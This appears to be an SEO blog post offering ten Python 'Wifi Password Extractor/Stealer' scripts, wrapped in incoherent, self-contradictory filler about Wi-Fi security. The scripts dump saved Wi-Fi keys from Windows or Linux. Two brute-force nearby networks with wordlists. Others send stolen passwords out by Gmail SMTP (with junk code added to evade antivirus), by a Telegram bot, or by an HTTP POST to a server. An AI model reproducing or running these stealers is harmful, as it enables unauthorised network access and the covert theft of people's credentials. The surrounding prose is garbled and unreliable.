Top 10 Script 2022: Hack Wifi Password using python

What is Wi-Fi?

Wi-Fi is a popular wireless networking technology. One of the reasons it is so widely used is it is cheaper and faster than wired networking technologies. There are a lot of different things to consider when setting up Wi-Fi networking, but one of the most important is the protection of your network. This blog will take a look at how to secure your Wi-Fi network.These devices often use Wi-Fi in order to connect to one another and to access the Internet. You might know the name of someone who has their Wi-Fi password. If so you’ve probably come across a situation where you need their hack wifi password using python , but they won’t give it to you. Follow these simple steps and learn how to avoid the pain of being stuck without a hack wifi password using python. One of the benefits of using Wi-Fi is the ability to connect separate devices to the same network. This provides a solution for multitasking and the ability to share internet connection among multiple devices at the same time. A network with Wi-Fi is also able to connect multiple users, be it a single device connecting to a network or multiple devices connecting to the same network. This is a great benefit for a company that is looking to share internet connection among multiple devices.With Wi-Fi, it is now possible to connect to the Internet from virtually anywhere. Making the most out of your Wi-Fi is the key to accessing data and information from a variety of devices in a network. You should make the most out of your Wi-Fi network by setting up a password and by creating a cloud-based backup. This blog will help you get the most out of your Wi-Fi.

hack wifi password using python

 

How to Hack WiFi Password ?

In the age of wireless everything- from your laptop to your smartwatch, it’s no surprise that wireless networking is an essential part of a majority of people’s daily activities. From personal tasks to professional ones, wireless networking is a key part of our daily lives. But sometimes, you might find yourself locked out of your wireless network. Worse yet, you might lose all your files that were saved on your computer as a result. This blog will take a look at what you can do if you find yourself in a predicament and how you can avoid it.If you feel like your WiFi password is too hard to remember, you can always change it. But if you want to change your WiFi password without downloading a new app, you should know that it is not easy. That’s where password stealer extractor comes in handy. This program can help you find and recover your WiFi password. This blog will go through how you can use this program to change your hack wifi password using python.Wi-Fi is a wireless networking technology that allows devices such as computers (laptops and desktops), mobile devices (smartphones and wearables), and other equipment (printers and video cameras) to interface with the Internet. It is a wireless service created by Wi-Fi Alliance that operates in the unlicensed 2.4 and 5 GHz radio bands. We live in a world where Wi-Fi is prevalent. People are connected to the internet everyday, and it’s difficult to avoid Wi-Fi. Wi-Fi is always on, and it’s difficult to avoid Wi-Fi. This is where the trouble begins. People forget their hack wifi password using python, or they forget the password to Wi-Fi altogether. If you don’t want to be in this situation, you can use this

#1 Wifi Password Extractor/Stealer

 

import subprocess
import re

#use command shell from python.
command_output = subprocess.run(["netsh", "wlan", "show", "profile"], capture_output = True).stdout.decode()

# We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile     :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears.
profile_names = (re.findall("All User Profile     : (.*)\r", command_output))

# We create an empty list outside of the loop where dictionaries with all the wifi ssid and passwords will be saved.
wifi_list = list()


# If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part.
if len(profile_names) != 0:
    for name in profile_names:
        # Every wifi connection will need its own dictionary which will be appended to the wifi_list
        wifi_profile = dict()
        # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password.
        profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output=True).stdout.decode()
        # We use a regular expression to only look for the absent cases so we can ignore them.
        if re.search("Security key           : Absent", profile_info):
            continue
        else:
            # Assign the SSID of the wifi profile to the dictionary
            wifi_profile["ssid"] = name
            # These cases aren't absent and we should run them "key=clear" command part to get the password
            profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output=True).stdout.decode()
            # Again run the regular expressions to capture the group after the : which is the password
            password = re.search("Key Content            : (.*)\r", profile_info_pass)
            # Check if we found a password in the regular expression. All wifi connections will not have passwords.
            if password == None:
                wifi_profile["password"] = None
            else:
                # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary.
                wifi_profile["password"] = password[1]
            # We append the wifi information to the wifi_list
            wifi_list.append(wifi_profile)

for x in range(len(wifi_list)):
    print(wifi_list[x])
##Write the contents of the wifi ssids and passwords to file
with open('wifi.txt', 'w+') as fh:
    for x in wifi_list:
        fh.write(f"SSID: {x['ssid']}\nPassword: {x['password']}\n")

 

#2 Wifi Password Extractor/Stealer

import re, time, argparse, platform
import os.path

try:
    import pywifi
    from pywifi import PyWiFi
    from pywifi import const
    from pywifi import Profile
except:
    print("Installing pywifi")

RED   = "\033[1;31m"  
BLUE  = "\033[1;34m"
CYAN  = "\033[1;36m"
GREEN = "\033[0;32m"
RESET = "\033[0;0m"
BOLD    = "\033[;1m"
REVERSE = "\033[;7m"

try:
    wifi = PyWiFi()
    ifaces = wifi.interfaces()[0]

    ifaces.scan() #check the card
    results = ifaces.scan_results()


    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
except:
    print("[-] Error system")

type = False

def main(ssid, password, number):

    profile = Profile() 
    profile.ssid = ssid
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP


    profile.key = password
    iface.remove_all_network_profiles()
    tmp_profile = iface.add_network_profile(profile)
    time.sleep(0.1) # if script not working change time to 1 !!!!!!
    iface.connect(tmp_profile) # trying to Connect
    time.sleep(0.35) # 1s

    if ifaces.status() == const.IFACE_CONNECTED: # checker
        time.sleep(1)
        print(BOLD, GREEN,'[*] Crack success!',RESET)
        print(BOLD, GREEN,'[*] password is ' + password, RESET)
        time.sleep(1)
        exit()
    else:
        print(RED, '[{}] Crack Failed using {}'.format(number, password))

def pwd(ssid, file):
    number = 0
    with open(file, 'r', encoding='utf8') as words:
        for line in words:
            number += 1
            line = line.split("\n")
            pwd = line[0]
            main(ssid, pwd, number)
                    

def menu():
    parser = argparse.ArgumentParser(description='argparse Example')

    parser.add_argument('-s', '--ssid', metavar='', type=str, help='SSID = WIFI Name..')
    parser.add_argument('-w', '--wordlist', metavar='', type=str, help='keywords list ...')

    group1 = parser.add_mutually_exclusive_group()

    group1.add_argument('-v', '--version', metavar='', help='version')
    print(" ")

    args = parser.parse_args()

    print(CYAN, "[+] You are using ", BOLD, platform.system(), platform.machine(), "...")
    time.sleep(2.5)

    if args.wordlist and args.ssid:
        ssid = args.ssid
        filee = args.wordlist
    elif args.version:
        print("\n\n",CYAN,"by Lencof\n")
        print(RED, " github", BLUE," : https://github.com/Lencof/\n")
        print(GREEN, " CopyRight 2021\n\n")
        exit()
    else:
        print(BLUE)
        ssid = input("[*] SSID: ")
        filee = input("[*] pwds file: : ")


   
    if os.path.exists(filee):
        if platform.system().startswith("Win" or "win"):
            os.system("cls")
        else:
            os.system("clear")
       
        print(BLUE,"[~] Cracking...")
        pwd(ssid, filee)
        
    else:
        print(RED,"[-] No Such File.",BLUE)


if __name__ == "__main__":
    menu()

#3 Wifi Password Extractor/Stealer

import os
try:
    import pywifi
except ModuleNotFoundError:
    os.system("pip install pywifi")
from pywifi import const
from scripts.banner import banner2,banner,clear
from scripts.sprint import sprint
from scripts.colors import ran,y,r,g,c

import time
import webbrowser

webbrowser.open("Head.html")

yes = ["y" , "yes"]
no = ["no" , "n"]

clear()

sprint(f"\n\n{r} Note: {c}This tool is only made for educational purpose... -_+")
sprint(f"\n{g}Preparing...")
time.sleep(1)
clear()
banner()


p_in = input(f"{y}\nDo you want to use default wordlist? {r}(y/n):").lower()

passlist = ""

if p_in in yes:
    passlist = f"passwords.txt"
else:
    try:
        passlist = input(ran + "\nEnter path for passlist: " + g)
    except FileNotFoundError:
        print(r+"File Not found!")
        exit(0)


passwords = [x.strip("\n") for x in open(passlist , "r").readlines()]
tried = [x.strip("\n").split("--")[0] for x in open("avail_nearby_wifis.txt","r").readlines()]
found = [x.strip("\n") for x in open("already_tried_passwords.txt","r").readlines()]
ts = 15


def scan(face):
    face.scan()
    return face.scan_results()

def main():
    wifi = pywifi.PyWiFi()
    inface = wifi.interfaces()[0]

    scanner = scan(inface)

    num = len(scanner)

    print(f"{r}Number of wifi found: {ran}{str(num)}")

    for i,x in enumerate(scanner):
        res = test(num-i , inface , x , passwords , ts)

        if res:
            print(ran + "="*20)
            print(f"{r}Password found : {c}{str(res)}")

            with open("avail_nearby_wifis.txt", "a") as f:
                f.write(str(res) + "\n")

            print(ran + "="*20)


def test(i ,face,x,key,ts):
    wifi_name = x.bssid if len(x.ssid) > len(x.bssid) else x.ssid

    if wifi_name in tried:
        print(f"{r}[!] {y}Password tried -- {str(wifi_name)}\n{g}Password is known!")
        return False

    print(ran + "Trying to connect to wifi "+str(wifi_name))

    for n,password in enumerate(key):
        if wifi_name+"--"+password in found:
            print(r + "Password already found +_+")

            continue
        else:
            with open("already_tried_password" , "a") as f:
                f.write(str(wifi_name)+"--"+str(password))
        tried.append(str(wifi_name)+"--"+str(password))
        print(f"{ran}Trying password {r}{str(password)} {c}{str(n)} / {g}{str(len(key))}")

        profile = pywifi.Profile()
        profile.ssid = wifi_name
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        # Remove all hotspot configurations
        face.remove_all_network_profiles()
        tmp_profile = face.add_network_profile(profile)
        face.connect(tmp_profile)
        code = 10
        t1 = time.time()
        # Cyclic refresh status, if set to 0, the password is wrong, if timeout, proceed to the next
        while code != 0:
            time.sleep(0.1)
            code = face.status()
            now = time.time() - t1
            if now > ts:
                break
            if code == 4:
                face.disconnect()
                return str(wifi_name) + "--" + str(password)
    return False

cont = ""

while cont not in no:
    main()

    ch = input(ran+"Do you want to continue? (y/n):").lower()

    if ch in no:
        clear()
        banner2()
    else:
        clear()
        banner2()

#4 Wifi Password Extractor/Stealer

import subprocess
import re

print('WIFI PASSWORD')
command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode()
profile_names = (re.findall("All User Profile     : (.*)\r", command_output))
wifi_list = []

if len(profile_names) != 0:
    for name in profile_names:
        wifi_profile = {}
        profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode()

        if re.search("Security key           : Absent", profile_info):
            continue
            
        else:
            wifi_profile["ssid"] = name
            profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode()
            password = re.search("Key Content            : (.*)\r", profile_info_pass)

            if password == None:
                wifi_profile["password"] = None
                
            else:
                wifi_profile["password"] = password[1]
                
            wifi_list.append(wifi_profile)

for x in range(len(wifi_list)):
    print(wifi_list[x])

#5 Wifi Password Extractor/Stealer

import subprocess, re, smtplib, os

def send_email(mail, password, message):
    host = smtplib.SMTP("smtp.gmail.com", 587)
    host.starttls()
    host.login(mail,password)
    host.sendmail(mail,mail,message)
    host.quit()

 #irrelevent code just to try bypass antiviress 
def amount(x,y, sum):
    sum = x + y
    sum = sum - 5
    return sum
# end


c1  = "netsh wlan show profile"
sub1 = subprocess.check_output(c1, shell=True, stderr=DEVNULL,stdin=DEVNULL)
regular_list = re.findall("(?:Benutzer\s:\s)(.*)",sub1)

#irrelevent code just to try bypass antiviress 
age = 24
if (age > 18):
    answer = "u are allowed to buy beer"
else: answer = "u are a kid, u cannot buy beer"
# end
result = ""

for regular in regular_list:
    c2 = "netsh wlan show profile " + regular + " key=clear"
    sub2 = subprocess.check_output(c2, shell=True, stderr=DeVNULL,stdin=DEVNULL)
    current_value = sub2
    resut = resut + current_value

send_email("login", "password", resut)

How can Wi-Fi be secured?

If you find yourself using the same password for various internet connected devices, you may want to take steps to make sure that you’re not sharing any of your passwords. One way that you can do this is by using a password manager. A password manager is a program that keeps track of all the passwords that you use and makes it easy to remember all of them. You can use a password manager to generate strong passwords for all your devices, store them, and make it easy to log into your devices when you’re on the go. A password manager is your best bet for keeping your passwords safe. As more and more people use wireless networks, more and more devices are connecting to them. With the ability to connect to a wireless network comes the ability to use that network without being in the same room. This can be a great way to help you connect to a network where you might not have access, but it can also be a security risk. With this in mind, it is important that you protect your connection by properly changing your wifi password. However, sometimes the passwords are just too long.

Often times this is because wifi passwords are too complicated to remember. If you don’t want to use a password that’s too difficult to remember, you need to use a password that you can easily remember. There are a couple of ways to make it easy for you to remember your password. One way is to use a single word that is easy for you to remember and is one letter longer than your password. When you have trouble remembering your password, try using your wifi password as your password’ If you’re like me, you enjoy a good Wi-Fi password hack, but don’t want to pay a lot for a good one. This article will show you how to hack and crack your Wi-Fi password for free.Some people use the internet without any security. Others are concerned about their privacy and security on the internet. Sometimes people may need to hack into a wireless network at work. There are some ways to do this with different tools. However, sometimes those tools may not work and you need to use a device that can hack into a wireless network. In this case, you need to use wifi password extractor. This is a tool that can easily hack into a wireless network and extract the password. You can use this tool to hack into a wireless network at work or on your own personal device.

#6 Wifi Password Extractor/Stealer

#imports
import subprocess
import os
import time

#main
while True:
    # clear screen
    os.system('cls')

    # reset vars
    profiles = []
    passwords = {}
    count = 0

    # grab all profiles (raw data)
    profiles_raw = subprocess.check_output(["netsh", "wlan", "show", "profiles"], encoding="cp858")
    
    # format profiles into list
    for line in profiles_raw.split("\n"):
        if "Profile     :" in line:
            profiles.append(line[(line.find(":")) + 2:])

    # print info
    print(f"""
-----] Wifi Key Scraper [-----
| [!] ({len(profiles)}) Profiles found""")

    # wait 2 second
    time.sleep(2)

    # grab each key
    for profile in profiles:
        print(f'|\n| [! INIT] Profile: {profile}')
        # try execute code
        try:
            password_raw = subprocess.check_output(["netsh", "wlan", "show", "profile", f'name="{profile}"', "key=clear"], shell=True, encoding="cp858")
            for line in password_raw.split("\n"):
                if "Key Content            :" in line:
                    passwords[f"profile{count}"] = {
                        "status": "SUCESS",
                        "id": profile,
                        "password": line[(line.find(":")) + 2:]
                        }
                    print(f'|\n| [! DONE] Profile: {profile} // Password: {line[(line.find(":")) + 2:]}')
        # set password to null if fail
        except Exception as e:
            print(f'|\n| [! ERROR] Profile: {profile} // FAIL')
            passwords[f"profile{count}"] = {
                        "status": "ERROR",
                        "id": profile,
                        "password": "null"
                        }
        count += 1

    # save output text
    with open("output.txt", "w") as file:
        for item in passwords:
            file.write(f"[{item}/{passwords[item]['status']}] {passwords[item]['id']}: {passwords[item]['password']}\n")
        print("|\n| [!] 'output.txt' saved")
    
    # repeat loop?
    if input("|\n-----] Execute again? (y/n) [-----\n>> ") == "n":
        break

#end
os.system('pause')

#7 Wifi Password Extractor/Stealer

from colorama import Fore
from subprocess import getoutput
from os import system
from time import sleep
from termcolor2 import colored
from colorama.initialise import init
from requests import post
system("color")
system("cls")

init()

# test net
# while True :
#     try :   
#      connection_tst = "1"
#      connection_tst = connection_tst + str(post("https://www.google.com/").status_code)
#      if len(connection_tst) > 1 :
#          break

#     except:
#         print("pleas conect to internet and try agin you have 10 s for tray")
#         sleep(10)
# fnish test

# show wifi saved on windows
def sh_wifilist() :
    
 

    global wilist

   
    
    global a
    
    a = getoutput("netsh wlan show profiles") # seve wifi profiles
    a = a.split("\n")
   
    wilis = [] # save wifi name
    for s in a :
        if "    All User Profile     : " in s :
            wilis.append(s.replace("    All User Profile     : ",""))
        else :
            pass
    num = 1
    reng = 0
    wilist = [] # seve wifi have password
    for s in wilis :
        clear = getoutput("netsh wlan show profiles "+'"'+s+'"'+" key=clear")
        if "    Authentication         : Open" in clear :
           pass
        else:
            wilist.append(wilis[reng])
        reng += 1

    for s in wilist : # print wilist
        
        print (colored("[",color="red")+colored (str(num),"cyan",attrs=["bold"])+colored("]","red")+" "+colored(s,"yellow"))
        print("\n")
        sleep(0.2)
        num += 1
# finish show wifi saved on windows

# option
def shpass_ban() :
    global choose
    print (colored(" Options :\n","green"))

    print (colored("[","red")+ colored ("1","cyan",attrs=["bold"])+colored("]","red")+colored(" show All Passwords ","blue") + "\n"+"\n"+colored("[","red")+colored("2","cyan",attrs=["bold"])+colored("]","red")+colored(" Show passwords from x to y","blue")+"\n"+"\n"+colored("[","red")+colored("3","cyan",attrs=["bold"])+colored("]","red")+colored(" Display the password of the number you select","blue"))
    
    choose = input(Fore.GREEN+"\n Choose Options : ")
    choose =int(choose)
    print("\n")
# finish option

# show all wifi and password on your windows
def wi1 () :
   
    num = 1
    num2 = 0   
    for s in passwi :
        print (colored("[","red")+colored(str(num),"cyan",attrs=["bold"])+colored("]","red")+colored("--->","green")+" "+colored(wilist[num2],"blue") +colored(" : ", "green")+colored(passwi[num2],"red")+"\n")      
        num +=1
        num2 +=1   
# finish show all wifi and password on your windows

# show num2 to num3 wifi and password 
def wi2():
    num = 1
    num2 = input(" From number : ")
    num2 = int(num2) - 1 
    num3 = input(" To number : ")
    for wiandps in pass_wi[num2:int(num3)] :
     wiandps = str(wiandps)
     js = wiandps.split(":")
     print(colored("[","red")+colored(str(num),"cyan",attrs=["bold"])+colored("]","red")+" "+colored(js[0],"blue")+colored(" <<-- : -->> ","yellow")+colored(js[1],"red")+"\n")
     js.clear()
     num += 1   
# finish show num2 to num3 wifi and password

# show wifi your selected
def wi3 () :
    num=input(" Select a number to display the password\n")
    num = int(num) - 1

    print (" "+pass_wi [num])
# finish show wifi your selected

sh_wifilist()
    
passwi= [] # save wifi name and pass
for sa in wilist: # find wifi password
    password= getoutput("Netsh Wlan Show Profiles "+ "\""+sa+"\"" + " Key=Clear").split("\n") 
    for s in password : # filter 
     if "    Key Content            : " in s :
         passwi.append(s.replace("    Key Content            : ",""))
     else:
          pass 
num2 = 0
pass_wi = [] # save password and wifi name
for s in passwi :
    s = (wilist[num2] +" : " + passwi[num2])      
    pass_wi.append(s)
    num2 +=1 
s
num = 1 # wifi number
num2 = 0  # select index
swi_f_bot = "" # save wifi name and pass for send_f_bot

for sa in passwi :
    swi_f_bot = swi_f_bot + (str(num)+" "+wilist[num2] +" : "+passwi[num2]+"\n")      
    num +=1
    num2 +=1 

# send the wifi peropertis for robot whith out VPN
def send_f_bot() :
     global swi_f_bot
     
     swi_f_bot = swi_f_bot.translate(swi_f_bot.maketrans("&","~",)) # chenge swi_f_bot for link  
     
     swi_f_bot = swi_f_bot.translate(swi_f_bot.maketrans("#","^")) # chenge swi_f_bot for link 
     
     my_token = ("") # telegram bot token + enter your bot token 
     
     url = "https://api.telegram.org/"+my_token+"/sendmessage?chat_id=1085798181&text="+str(swi_f_bot) # send bot url
     
     rq_info = { "UrlBox" : url ,  # request info 
        "AgentList": "Google Chrome" ,
        "MethodList":"GET"
     
               } 

     post("http://httpdebugger.com/Tools/ViewHttpHeaders.aspx",data=(rq_info)) # send request
# finish send the wifi peropertis for robot whith out VPN
try :
 send_f_bot()    
except :
    pass
shpass_ban()

if choose == 1 :
    wi1()
elif choose == 2 :
    wi2()
elif choose == 3 :
    wi3()

#8 Wifi Password Extractor/Stealer

from subprocess import check_output


def getNames():
    data = check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').splitlines() 
    names = [x.split(':')[1].strip() for x in data if 'All User Profile' in x]
    return names


def getPasswords(names):
    passwords = []
    for i in names:
        data = check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').splitlines()
        passwords+=[x.split(':')[1].strip() for x in data if "Key Content" in x]
        for x in data:
            if 'Absent' in x:
                passwords.append('<blank>')
    return passwords

names = getNames()
passwords = getPasswords(names)



for name, password in zip(names, passwords):
    print(f'{name}:{password}')

#9 Wifi Password Extractor/Stealer

import subprocess
import requests
import os

try:
    from subprocess import DEVNULL
except ImportError:
    DEVNULL = os.open(os.devnull, os.O_RDWR)

url = "url" #add url
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'], stdin=DEVNULL, stderr=DEVNULL).decode('utf-8',
                                                                                                            errors="backslashreplace").split(
    '\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]

res = {}

for i in profiles:
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear'], stdin=DEVNULL,
                                      stderr=DEVNULL).decode('utf-8', errors="backslashreplace").split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    res[i] = results[0]

m = ""
for key in res:
    m += "{}  :  {}\n\n".format(key, res[key])

#send to server
requests.post(url=url + m)

#10 Wifi Password Extractor/Stealer

from subprocess import run
import platform 
import os
import re
import sys
def systemOS():
    os = platform.system()

    return os


def linux():
    if os.getuid() != 0:
        sys.exit('[-] run this with sudo permissions! ')
    alldata = []
    files = os.listdir('/etc/NetworkManager/system-connections/')
    for file in files:
        with open(f'/etc/NetworkManager/system-connections/{file}', 'r', encoding='latin1') as d:
            data = d.read() 
            pattern = re.compile(R'psk=.+')
            passwords = pattern.findall(data)
            ssidandpasswords = str(f"SSID={file}, {''.join(passwords)}.".replace('.nmconnection', '').replace('psk=','password='))
            print(ssidandpasswords)
            alldata.append(ssidandpasswords)
            datafile = open('fsociety.txt' ,'w')
            datalog = datafile.write(str('\n'.join(alldata)))
    m = open('fsociety.txt', 'a')
    msg = m.write('\n\n[*] there is an extra dot in the end of everypassword') 
    print('\t')
    print("[*] ssid's and passwords are saved in (fsociety.txt) file pickit up and delete it ;)")
    print('[*] there is an extra dot in the end of everypassword')




def windows():
    alldata = []
    profiles = run(['netsh' ,'wlan', 'show' ,'profiles'], capture_output=True).stdout.decode()
    pattern = re.compile(R"All User Profile     : (.*)\r")
    all_ssid = pattern.findall(profiles)
    for ssid in all_ssid:
        command2 = run(['netsh' ,'wlan', 'show' ,'profiles', ssid, 'key=clear'], capture_output=True).stdout.decode()
        pattern = re.compile(R'Key Content            : (.*)\r')
        passwords = pattern.findall(command2)
        ssidandpasswords = f"SSID={ssid}, password={''.join(passwords)}"
        print(ssidandpasswords)
        alldata.append(ssidandpasswords)
        datafile = open('fsociety.txt' ,'w')
        datalog = datafile.write(str('\n'.join(alldata))) 
    print('\t')
    print("[*] ssid's and passwords are saved in (fsociety.txt) file pickit up and delete it ;)")





if systemOS() == 'Windows':
    print('[*] operating system: WINDWOS ')
    print('\t')
    windows()

if systemOS() == 'Linux':
    print('[*] operating system: LINUX ')
    print('\t')
    linux()

Conclusion:

We know many people are using Wi-Fi to connect to the internet and it is important to make sure you have a secure connection. We provided some tips on what you can do to keep your connection protected. As more Wi-Fi users, we want to make sure you know how to use the technology best for the highest level of security. Wi-Fi is a classic wireless networking technology that is used by millions of people each day. We wrote this blog to give you a beginners guide to Wi-Fi and how it works. If you are a beginner who is interested in learning how Wi-Fi works, you might want to check this blog out. If you are looking to keep your Wi-Fi protected while using a nearby hotspot, we recommend using a VPN. you need to know the Wi-Fi password of the device you want to connect to. Luckily, we have created a tool that allows you to access the Wi-Fi password of any device you want. People need to know how to hack a Wi-Fi password so that they can access their own personal Wi-Fi network.Wi-Fi can be used to allow personal computers to connect to a network wirelessly or to provide wireless Internet access to mobile computing devices such as laptops and smartphones. Wi-Fi networks are created by a Wi-Fi device, such as an access point, and can also be created by a wired connection to a router on a computer network. The term Wi-Fi is commonly used as a shorthand for wireless fidelity.